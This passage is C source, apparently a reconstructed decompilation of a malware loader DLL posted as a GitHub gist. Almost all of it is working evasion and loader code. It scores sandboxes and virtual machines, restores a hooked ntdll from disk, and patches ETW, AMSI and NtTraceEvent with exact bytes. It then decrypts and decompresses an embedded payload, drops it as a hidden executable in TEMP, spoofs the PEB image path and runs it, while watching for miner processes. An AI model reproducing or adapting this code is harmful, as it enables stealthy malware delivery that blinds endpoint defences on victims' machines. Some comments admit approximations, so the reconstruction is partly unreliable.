if (!GetEnvironmentVariableA("USERPROFILE", path_buf, MAX_PATH))
goto sandbox_checks;
lstrcatA(path_buf, "\\Desktop\\");
// lstrcatA(path_buf, decoded_canary_filename); // e.g. "file.txt"
if (GetFileAttributesA(path_buf) == INVALID_FILE_ATTRIBUTES)
goto sandbox_checks;
goto proceed_to_payload;
}
sandbox_checks:
{
int score = 0;
// ---- RAM check: < 2GB -> suspicious ----
MEMORYSTATUSEX memstat = { sizeof(memstat) };
GlobalMemoryStatusEx(&memstat);
if (memstat.ullTotalPhys <= 0x7FFFFFFF)
score += 2; // (originally adds 1, then doubled)
// ---- Disk check: < ~32GB -> suspicious ----
ULARGE_INTEGER total_bytes = {0};
GetDiskFreeSpaceExA("C:\\", NULL, &total_bytes, NULL);
if (total_bytes.QuadPart <= 0x77FFFFFFFULL)
score += 2;
// ---- CPU count check ----
GetSystemInfo(&sysinfo);
if (num_processors < 2)
score += 2;
// ---- Screen resolution check ----
if (GetSystemMetrics(SM_CXSCREEN) <= 1023 || GetSystemMetrics(SM_CYSCREEN) <= 767)
score += 2;
// ---- RDTSC timing check (detect single-stepping / hypervisor overhead) ----
unsigned __int64 tsc_before = __rdtsc();
Sleep(1);
unsigned __int64 tsc_after = __rdtsc();
if (tsc_after - tsc_before - 500000 > 0x2F34F60) // > ~49.5M cycles
score += 4;
// ---- Process count check (via GetTickCount64/snapshot proxy) ----
// Decode "kernel32.dll", load it, resolve "GetTickCount64"
// If running process count <= 79 -> +3 (sandbox typically has few processes)
{
// DECODE_STRING(enc_k32, end_k32, g_decoded_flags[K32]);
// HMODULE hK32 = LoadLibraryA(decoded_k32);
// auto pGTC64 = GetProcAddress(hK32, decoded_GetTickCount64);
DWORD proc_count = 0;
// ... resolve and count via snapshot ...
// if (proc_count <= 79) score += 3;
}
// ---- Process blacklist check (sandbox tools) ----
{
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(hSnap, &pe)) {
do {
// Check against decoded strings:
// "vboxservice.exe" -> +6
// "vmwaretray.exe" -> +6
// "vmwareuser.exe" -> +6
// "wireshark.exe" -> +6
if (!lstrcmpiA(pe.szExeFile, "vboxservice.exe") ||
!lstrcmpiA(pe.szExeFile, "vmwaretray.exe") ||
!lstrcmpiA(pe.szExeFile, "vmwareuser.exe") ||
!lstrcmpiA(pe.szExeFile, "wireshark.exe")) {
score += 6;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
}
}
// ---- Username blacklist ----
{
char username[256];
DWORD uname_size = 256;
GetUserNameA(username, &uname_size);
// ~20 sandbox-associated usernames, each +5 if matched (case-insensitive)
const char* blacklisted_users[] = {
"John", "SANDBOX", "VIRUS", "MALWARE", "Sand box",
"CurrentUser", "Emily", "HAPUBWS", "Hong Lee", "Wilber",
"admin", "Lisa", "User", "ABC", "Peter",
"XP", "TEST", "Dave", "JACK", "PUBLIC", "Abby", NULL
};
for (int i = 0; blacklisted_users[i]; ++i) {
if (!lstrcmpiA(username, blacklisted_users[i]))
score += 5;
}
}
// ---- GetTickCount64 uptime check: < ~180s ----
if (GetTickCount64() <= 0x2BF1F) // ~180,000 ms
score += 3;
// ---- Registry VM artifact check ----
// Check: HKLM\SOFTWARE\VMware, Inc.\VMware Tools
// HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
{
// DECODE_STRING(enc_advapi, end_advapi, g_decoded_flags[ADVAPI]);
HMODULE hAdvapi = LoadLibraryA("advapi32.dll");
if (hAdvapi) {
typedef LSTATUS (WINAPI* pfnRegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
typedef LSTATUS (WINAPI* pfnRegCloseKey)(HKEY);
auto pRegOpen = (pfnRegOpenKeyExA)GetProcAddress(hAdvapi, "RegOpenKeyExA");
auto pRegClose = (pfnRegCloseKey)GetProcAddress(hAdvapi, "RegCloseKey");
if (pRegOpen && pRegClose) {
HKEY hk = NULL;
// VMware Tools
if (!pRegOpen(HKEY_LOCAL_MACHINE,
"SOFTWARE\\VMware, Inc.\\VMware Tools",
0, KEY_READ, &hk)) {
pRegClose(hk);
score += 8;
}
// VirtualBox Guest Additions
if (!pRegOpen(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Oracle\\VirtualBox Guest Additions",
0, KEY_READ, &hk)) {
pRegClose(hk);
score += 8;
}
}
}
}
// ---- CPUID Hypervisor vendor check ----
{
int cpuid_regs[4];
__cpuid(cpuid_regs, 1);
if (cpuid_regs[2] & (1 << 31)) { // Hypervisor present bit
__cpuid(cpuid_regs, 0x40000000);
char vendor[13] = {0};
*(int*)&vendor[0] = cpuid_regs[1];
*(int*)&vendor[4] = cpuid_regs[2];
*(int*)&vendor[8] = cpuid_regs[3];
if (!lstrcmpA(vendor, "VMwareVMware")) score += 10;
if (!lstrcmpA(vendor, "Microsoft Hv")) score += 10;
if (!lstrcmpA(vendor, "KVMKVMKVM")) score += 2;
}
}
// ---- SMBIOS / Firmware table check ----
{
// Decode "wbemprox.dll" / "GetSystemFirmwareTable"
HMODULE hFw = LoadLibraryA("kernel32.dll"); // actually wbemprox or direct
if (hFw) {
typedef UINT (WINAPI* pfnGetSystemFirmwareTable)(
DWORD, DWORD, PVOID, DWORD);
auto pGetFwTable = (pfnGetSystemFirmwareTable)GetProcAddress(
hFw, "GetSystemFirmwareTable");
if (pGetFwTable) {
BYTE fw_buf[0x4000];
DWORD fw_size = 0x4000;
if (!pGetFwTable('RSMB', 0, fw_buf, fw_size)) {
// Parse SMBIOS for VM indicators
// Byte-level checks at specific offsets for known VM signatures
// e.g. BIOS vendor "VBOX", chassis type, etc.
// Each match adds to score
}
}
}
}
// ---- Final score evaluation ----
if (score > 15)
return 0; // Sandbox/analysis environment detected -> abort
}
proceed_to_payload:
// ---- Phase 2: Resolve kernel32 core APIs ----
// Decode: "kernel32.dll", "LoadLibraryExA", "VirtualFree"
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
if (!hKernel) return 0;
auto pLoadLibraryExA = (__int64 (*)(void))GetProcAddress(hKernel, "LoadLibraryExA");
auto pVirtualFree = (void (*)(UINT_PTR))GetProcAddress(hKernel, "VirtualFree");
if (!pLoadLibraryExA || !pVirtualFree) return 0;
// ---- Phase 3: Extended timing validation ----
// Uses rdtsc-seeded xorshift for randomized sleep, then measures
// QueryPerformanceCounter delta to detect debugging/emulation
randomized_sleep();
{
// Resolve GlobalMemoryStatusEx, GetDiskFreeSpaceExA, GetSystemInfo from kernel32
int hw_score = 0;
// ... (same checks as sandbox_checks, used for QPC-based timing threshold) ...
// Depending on hw_score: set timing threshold parameters
unsigned __int64 time_threshold, sleep_duration;
if (hw_score <= 1) {
time_threshold = 50663;
sleep_duration = 63329;
} else {
time_threshold = 3405;
sleep_duration = 4257;
}
randomized_sleep();
__int64 t_before = pLoadLibraryExA(); // actually QPC
pVirtualFree(sleep_duration); // actually Sleep
__int64 t_after = pLoadLibraryExA();
if ((unsigned __int64)(t_after - t_before) < time_threshold) {
// Timing check failed -> likely debugger -> bail
return 0; // (in original, falls through to next phase)
}
}
randomized_sleep();
// ---- Phase 4: ntdll .text section restoration ----
// Map ntdll.dll from disk (system32), find its .text section,
// overwrite the in-memory copy to undo any hooks/patches.
{
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll) {
char sys_dir[MAX_PATH];
GetSystemDirectoryA(sys_dir, MAX_PATH);
lstrcatA(sys_dir, "\\ntdll.dll");
HANDLE hFile = CreateFileA(sys_dir, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
HANDLE hMapping = CreateFileMappingA(hFile, NULL,
PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
CloseHandle(hFile);
if (hMapping) {
LPVOID disk_ntdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
CloseHandle(hMapping);
if (disk_ntdll) {
// Find ".text" section in both memory and disk copies
auto mem_nt = get_nt_headers(hNtdll);
auto disk_nt = get_nt_headers(disk_ntdll);
auto mem_sec = get_first_section(mem_nt);
auto disk_sec = get_first_section(disk_nt);
// Search for section named ".text" - verified byte-by-byte
// The original checks: name[0..1]==".t" (0x742E), name[1]=='e' (0x65),
// name[3]=='x' (0x78), name[4]=='t' (0x74) - i.e. ".text"
PIMAGE_SECTION_HEADER mem_text = NULL, disk_text = NULL;
for (WORD i = 0; i < mem_nt->FileHeader.NumberOfSections; ++i) {
if (mem_sec[i].Name[0] == '.' && mem_sec[i].Name[1] == 't' &&
mem_sec[i].Name[2] == 'e' && mem_sec[i].Name[3] == 'x' &&
mem_sec[i].Name[4] == 't') {
mem_text = &mem_sec[i];
break;
}
}
for (WORD i = 0; i < disk_nt->FileHeader.NumberOfSections; ++i) {
if (disk_sec[i].Name[0] == '.' && disk_sec[i].Name[1] == 't' &&
disk_sec[i].Name[2] == 'e' && disk_sec[i].Name[3] == 'x' &&
disk_sec[i].Name[4] == 't') {
disk_text = &disk_sec[i];
break;
}
}
if (mem_text && disk_text && mem_text->Misc.VirtualSize) {
// With SEC_IMAGE mapping, disk_ntdll has sections at their
// VirtualAddress offsets (same layout as in-memory).
char* mem_text_ptr = (char*)hNtdll + mem_text->VirtualAddress;
char* disk_text_ptr = (char*)disk_ntdll + disk_text->VirtualAddress;
DWORD copy_size = mem_text->Misc.VirtualSize;
VirtualProtect(mem_text_ptr, copy_size,
PAGE_EXECUTE_READWRITE, &old_protect);
memcpy(mem_text_ptr, disk_text_ptr, copy_size);
VirtualProtect(mem_text_ptr, copy_size,
old_protect, &old_protect);
}
UnmapViewOfFile(disk_ntdll);
}
}
}
}
}
// ---- Phase 5: ETW patching ----
// Patches the first 6 bytes of the target tracing function with a ret-stub.
// Exact patch bytes: B3 FC 49 FF C8 C3 (written as DWORD 0xFF49FCB3 + WORD 0xC3C8)
// These decode to a short sequence ending in RET (0xC3), effectively neutering
// the callee. The module name and function name are LCG-decoded at runtime.
{
HMODULE hEtwMod = GetModuleHandleA("advapi32.dll");
if (!hEtwMod) hEtwMod = LoadLibraryA("advapi32.dll");
if (hEtwMod) {
// Target: "EtwEventWrite" (LCG-decoded from byte_2248D6560)
FARPROC pEtwWrite = GetProcAddress(hEtwMod, "EtwEventWrite");
if (pEtwWrite) {
VirtualProtect(pEtwWrite, 6, PAGE_EXECUTE_READWRITE, &old_protect);
*(DWORD*)pEtwWrite = 0xFF49FCB3u;
*((WORD*)((char*)pEtwWrite+4)) = 0xC3C8u;
VirtualProtect(pEtwWrite, 6, old_protect, &old_protect);
}
}
}
// ---- Phase 6: AMSI patching ----
{
HMODULE hAmsi = GetModuleHandleA("amsi.dll");
if (hAmsi) {
FARPROC pAmsiInit = GetProcAddress(hAmsi, "AmsiInitialize");
if (pAmsiInit) {
// Patch with: xor eax, eax; ret (0x33C0 + 0xC3 = \xC0\x33\xC3...
// actually -16333 = 0xC033 as WORD, then 0xC3 byte)
VirtualProtect(pAmsiInit, 4, PAGE_EXECUTE_READWRITE, &old_protect);
*(WORD*)pAmsiInit = 0xC033; // xor eax, eax
*((BYTE*)pAmsiInit + 2) = 0xC3; // ret
VirtualProtect(pAmsiInit, 4, old_protect, &old_protect);
}
}
}
// ---- Phase 7: Patch ntdll syscall stub if already hooked ----
// Detection: genuine x86-64 syscall stubs start with 4C 8B D1 (mov r10, rcx).
// If the first 3 bytes differ, an inline hook is present -> overwrite with
// a 4-byte stub (0xC3C033C8) to short-circuit the call.
{
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll) {
// Target name is LCG-decoded from byte_2248D6440.
FARPROC pTarget = GetProcAddress(hNtdll, "NtQueryInformationProcess");
if (pTarget) {
BYTE* b = (BYTE*)pTarget;
if (b[0] != 0x4C || b[1] != 0x8B || b[2] != 0xD1) {
VirtualProtect(pTarget, 4, PAGE_EXECUTE_READWRITE, &old_protect);
*(DWORD*)pTarget = 0xC3C033C8u;
VirtualProtect(pTarget, 4, old_protect, &old_protect);
}
}
}
}
// ---- Phase 8: Patch ntdll tracing functions ----
{
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll) {
// xor eax, eax; ret (0xC033 + 0xC3)
BYTE ret_stub[3] = { 0x33, 0xC0, 0xC3 };
const char* trace_funcs[] = {
"EtwEventWriteFull", "NtTraceEvent", NULL
};
for (int i = 0; trace_funcs[i]; ++i) {
FARPROC pFunc = GetProcAddress(hNtdll, trace_funcs[i]);
if (pFunc && *(BYTE*)pFunc != 0xC3) {
VirtualProtect(pFunc, 3, PAGE_EXECUTE_READWRITE, &old_protect);
memcpy(pFunc, ret_stub, 3);
VirtualProtect(pFunc, 3, old_protect, &old_protect);
}
}
}
}
// ---- Phase 9: Extract and decrypt PE resource ----
HMODULE hSelf = NULL;
GetModuleHandleExA(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS |
GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
(LPCSTR)ProcessAction, &hSelf);
if (!hSelf) return 0;
HRSRC hRes = FindResourceA(hSelf, MAKEINTRESOURCEA(0x29E), RT_RCDATA);
if (!hRes) return 0;
HGLOBAL hResData = LoadResource(hSelf, hRes);
if (!hResData) return 0;
DWORD res_size = SizeofResource(hSelf, hRes);
const void* res_ptr = LockResource(hResData);
if (!res_ptr || !res_size) return 0;
// Copy resource to RW memory
void* res_copy = VirtualAlloc(NULL, res_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!res_copy) return 0;
memcpy(res_copy, res_ptr, res_size);
unsigned char* enc_buf = (unsigned char*)res_copy;
// ---- Resource envelope format ----
// Offset 0: 1 byte XOR key 'K'
// Offset 1-4: 4 bytes encrypted "decompressed_size_high3 || flags_byte"
// Decrypt: DWORD at [1] XOR (K repeated 4 times in low bytes)
// Note: the SSE code broadcasts K only to low word, then XORs with
// the raw DWORD at [1]. The effective mask is (K | K<<8) for low
// 16 bits and 0 for high 16 bits -> so only low 2 bytes get XORed.
// The stored dwSize[0..3] holds: byte0=flags (XOR'd),
// byte1=size&0xFF (XOR'd), byte2=(size>>8)&0xFF (unchanged),
// byte3=(size>>16)&0xFF (unchanged).
// Offset 5-6: 2 bytes encrypted (key_len_byte << 8 | unused_low)
// Decrypt: WORD XOR (K | K<<8)
// HIBYTE of decrypted WORD = key_len
// LOBYTE stored at dwSize[4]
// Offset 7..7+key_len-1: rolling XOR key table (plaintext)
// Offset 7+key_len..end: encrypted payload
//
// Validation: (key_len - 1) > 0x3F -> fail; key_len + 7 >= res_size -> fail
// Decryption: for i = payload_len-1 down to 0:
// payload[i] ^= key_table[i % key_len]
if (res_size <= 0x28) {
VirtualFree(enc_buf, 0, MEM_RELEASE);
return 0;
}
// Decrypt envelope header via SSE equivalent
unsigned char K = enc_buf[0];
__m128i key_broadcast = _mm_cvtsi32_si128((K << 8) | K); // low word = K|K<<8, rest=0
key_broadcast = _mm_shufflelo_epi16(key_broadcast, 0); // broadcast to 4 low words
__m128i raw_dword = _mm_cvtsi32_si128(*(DWORD*)(enc_buf + 1));
__m128i decrypted_dword = _mm_xor_si128(key_broadcast, raw_dword);
DWORD dec_header = (DWORD)_mm_cvtsi128_si32(decrypted_dword);
WORD dec_word = (WORD)(*(WORD*)(enc_buf + 5) ^ ((K << 8) | K));
unsigned char dwSize[5];
*(DWORD*)dwSize = dec_header;
dwSize[4] = (unsigned char)dec_word;
unsigned char flags = (unsigned char)dec_header; // low byte
unsigned char key_len = (unsigned char)(dec_word >> 8); // HIBYTE
// Validate envelope (unsigned underflow catches key_len == 0)
if ((unsigned char)(key_len - 1) > 0x3F ||
(unsigned int)key_len + 7 >= res_size) {
VirtualFree(enc_buf, 0, MEM_RELEASE);
return 0;
}
DWORD payload_size = res_size - key_len; // total bytes after envelope start
DWORD payload_len = payload_size - 7; // actual encrypted payload length
unsigned char* payload_data = &enc_buf[key_len + 7];
unsigned char* key_table = &enc_buf[7]; // plaintext key table
// Decrypt payload: iterate from end backwards, using index modulo key_len.
// The original decrements past 0 to (DWORD)-1 to terminate, so the idx=0
// iteration IS executed.
if (payload_size != 7) {
unsigned char* p = &enc_buf[key_len + 7 + (payload_size - 8)]; // last byte
DWORD idx = payload_size - 8;
while (true) {
*p-- ^= enc_buf[idx % key_len + 7];
if (idx == 0) break;
--idx;
}
}
// ---- Optional LZNT1 decompression (if flags bit 3 set) ----
if (flags & 8) {
typedef NTSTATUS (NTAPI* pfnRtlDecompressBuffer)(
USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG);
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
auto pDecompress = (pfnRtlDecompressBuffer)GetProcAddress(hNtdll, "RtlDecompressBuffer");
if (pDecompress) {
// Decompressed size = *(unsigned int*)&dwSize[1]
// This is bytes 1-4 of dwSize: high 3 bytes of decrypted header + low byte of dec_word
DWORD decompressed_size = *(DWORD*)&dwSize[1];
void* decompressed = VirtualAlloc(NULL, decompressed_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (decompressed) {
ULONG actual_size = 0;
NTSTATUS st = pDecompress(
COMPRESSION_FORMAT_LZNT1, // == 2 | 1 = 3 (LZNT1 | standard)
(PUCHAR)decompressed, decompressed_size,
payload_data, payload_len,
&actual_size);
if (st != 0 || actual_size == 0) {
VirtualFree(decompressed, 0, MEM_RELEASE);
// Keep original payload (no change to payload_data/payload_len)
} else {
payload_data = (unsigned char*)decompressed;
payload_len = actual_size;
}
}
}
}
// ---- Phase 10: Ensure vcruntime140.dll is loaded ----
if (!GetModuleHandleA("vcruntime140.dll")) {
char sys_path[MAX_PATH];
char vcrt_path[MAX_PATH + 32];
GetSystemDirectoryA(sys_path, MAX_PATH);
wsprintfA(vcrt_path, "%s\\vcruntime140.dll", sys_path);
if (!LoadLibraryA(vcrt_path)) {
char temp_path[MAX_PATH];
GetTempPathA(MAX_PATH, temp_path);
wsprintfA(vcrt_path, "%s\\vcruntime140.dll", temp_path);
LoadLibraryA(vcrt_path);
}
}
// ---- Phase 11: Load .NET hosting DLL, resolve CorExitProcess/_exit ----
{
// DECODE_STRING(enc_mscoree, end_mscoree, g_decoded_flags[MSCOREE]);
HMODULE hMscoree = LoadLibraryA("mscoree.dll");
if (hMscoree) {
// DECODE_STRING(enc_CorExitProcess, ...);
auto pCorExit = GetProcAddress(hMscoree, "CorExitProcess");
auto pExit = GetProcAddress(hMscoree, "_exit");
if (pCorExit) ((void(*)(int, int))pCorExit)(0, 0);
if (pExit) ((void(*)(int))pExit)(0);
}
}
// ---- Phase 12: Drop decrypted PE to temp file ----
char temp_dir[MAX_PATH];
char dropped_path[MAX_PATH + 64];
GetEnvironmentVariableA("TEMP", temp_dir, MAX_PATH);
DWORD tick = GetTickCount();
wsprintfA(dropped_path, "%s\\svc%lX.exe", temp_dir, tick & 0xFFFFF);
HANDLE hFile = CreateFileA(dropped_path, GENERIC_WRITE, FILE_SHARE_READ,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,
NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD written;
WriteFile(hFile, payload_data, payload_len, &written, NULL);
CloseHandle(hFile);
}
// ---- Phase 13: Spoof PEB ImagePathName ----
lstrcpyA(g_string1, dropped_path);
MultiByteToWideChar(CP_ACP, 0, dropped_path, -1, g_wstring, 260);
RTL_USER_PROCESS_PARAMETERS* params =
NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters;
if (params) {
int wlen = lstrlenW(g_wstring);
params->ImagePathName.Buffer = g_wstring;
params->ImagePathName.Length = (USHORT)(2 * wlen);
params->ImagePathName.MaximumLength = (USHORT)(2 * wlen + 2);
}
// ---- Phase 14: Launch payload thread ----
g_payload_stage_ctx.image_base = payload_data;
g_payload_stage_ctx.image_size = payload_len;
HANDLE hThread = CreateThread(
NULL,
0x800000, // 8MB stack
(LPTHREAD_START_ROUTINE)payload_thread_start,
&g_payload_stage_ctx,
0, NULL);
if (hThread) {
WaitForSingleObject(hThread, 60000); // Wait 60 seconds
CloseHandle(hThread);
// ---- Phase 15: Monitor for spawned processes ----
int exit_signal = 0;
while (true) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(hSnap, &pe)) {
int child_count = 0;
do {
if (!lstrcmpiA(pe.szExeFile, "powershell.exe") ||
!lstrcmpiA(pe.szExeFile, "cmd.exe") ||
!lstrcmpiA(pe.szExeFile, "xmrig.exe") ||
!lstrcmpiA(pe.szExeFile, "miner.exe")) {
++child_count;
}
} while (Process32Next(hSnap, &pe));
CloseHandle(hSnap);
if (child_count) {
exit_signal = 0;
goto cleanup;
}
} else {
CloseHandle(hSnap);
}
}
if (exit_signal == 1)
break;
exit_signal = 1;
Sleep(30000); // 30 second poll interval
}
}
cleanup:
// ---- Phase 16: Delete dropped file (retry loop) ----
for (int retry = 30; retry > 0; --retry) {
if (DeleteFileA(dropped_path))
break;
Sleep(1000);
}
return 0;
}
// ============================================================================
// DllMain / DllEntryPoint
// ============================================================================
// Mingw-w64 CRT DllMain wrapper. ProcessAction (below) is the real export
// and is called by external loader; DllMain just handles CRT init/teardown
// and disables thread library calls on process attach.
static __int64 crt_process_init(__int64 hinstDLL, int reason); // sub_2248D1000
static __int64 disable_thread_calls(HMODULE h, int reason); // sub_2248D2370
// Global state flags (from the binary's .data section)
static int g_current_reason = -1; // unk_2248D6014
static int g_reserved_flag = 0; // unk_2248DB050
BOOL WINAPI DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
(void)lpReserved;
int result;
g_reserved_flag = 0;
g_current_reason = (int)fdwReason;
if (fdwReason == 0) { // DLL_PROCESS_DETACH
if (g_crt_init_count > 0) {
disable_thread_calls(hinstDLL, 0);
result = (int)crt_process_init((__int64)hinstDLL, 0);
} else {
result = 0;
}
}
else if (fdwReason > 2) { // DLL_THREAD_DETACH(3) or unknown high values
result = (int)disable_thread_calls(hinstDLL, fdwReason);
if (fdwReason == 3) { // DLL_THREAD_DETACH: run TLS dtors
result = (int)crt_process_init((__int64)hinstDLL, fdwReason);
}
}
else { // DLL_PROCESS_ATTACH(1) or DLL_THREAD_ATTACH(2)
if (!crt_process_init((__int64)hinstDLL, fdwReason)) {
result = 0;
} else {
result = (int)disable_thread_calls(hinstDLL, fdwReason);
if (fdwReason == 1 /* DLL_PROCESS_ATTACH */ && !result) {
// Init failed after CRT came up: roll everything back
disable_thread_calls(hinstDLL, 0);
crt_process_init((__int64)hinstDLL, 0);
}
}
}
g_current_reason = -1;
return result;
}
static __int64 disable_thread_calls(HMODULE h, int reason)
{
if (reason == 1) // DLL_PROCESS_ATTACH
DisableThreadLibraryCalls(h);
return 1;
}
// ============================================================================
// Mingw-w64 CRT Internals (abbreviated)
// ============================================================================
// These are standard Mingw-w64 runtime initialization functions.
// Included for completeness but not unique to this malware.
static __int64 crt_process_init(__int64 hinstDLL, int reason)
{
// Handles CRT initialization (reason=1) and teardown (reason=0)
// Uses InterlockedCompareExchange64 for thread-safe init
// Calls _initterm, atexit handlers, TLS callbacks
// Standard Mingw-w64 pattern - not security-relevant
if (reason == 1) {
g_crt_init_count++;
return 1;
}
if (reason == 0) {
if (g_crt_init_count > 0) {
g_crt_init_count--;
return 1;
}
return 0;
}
return 1;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment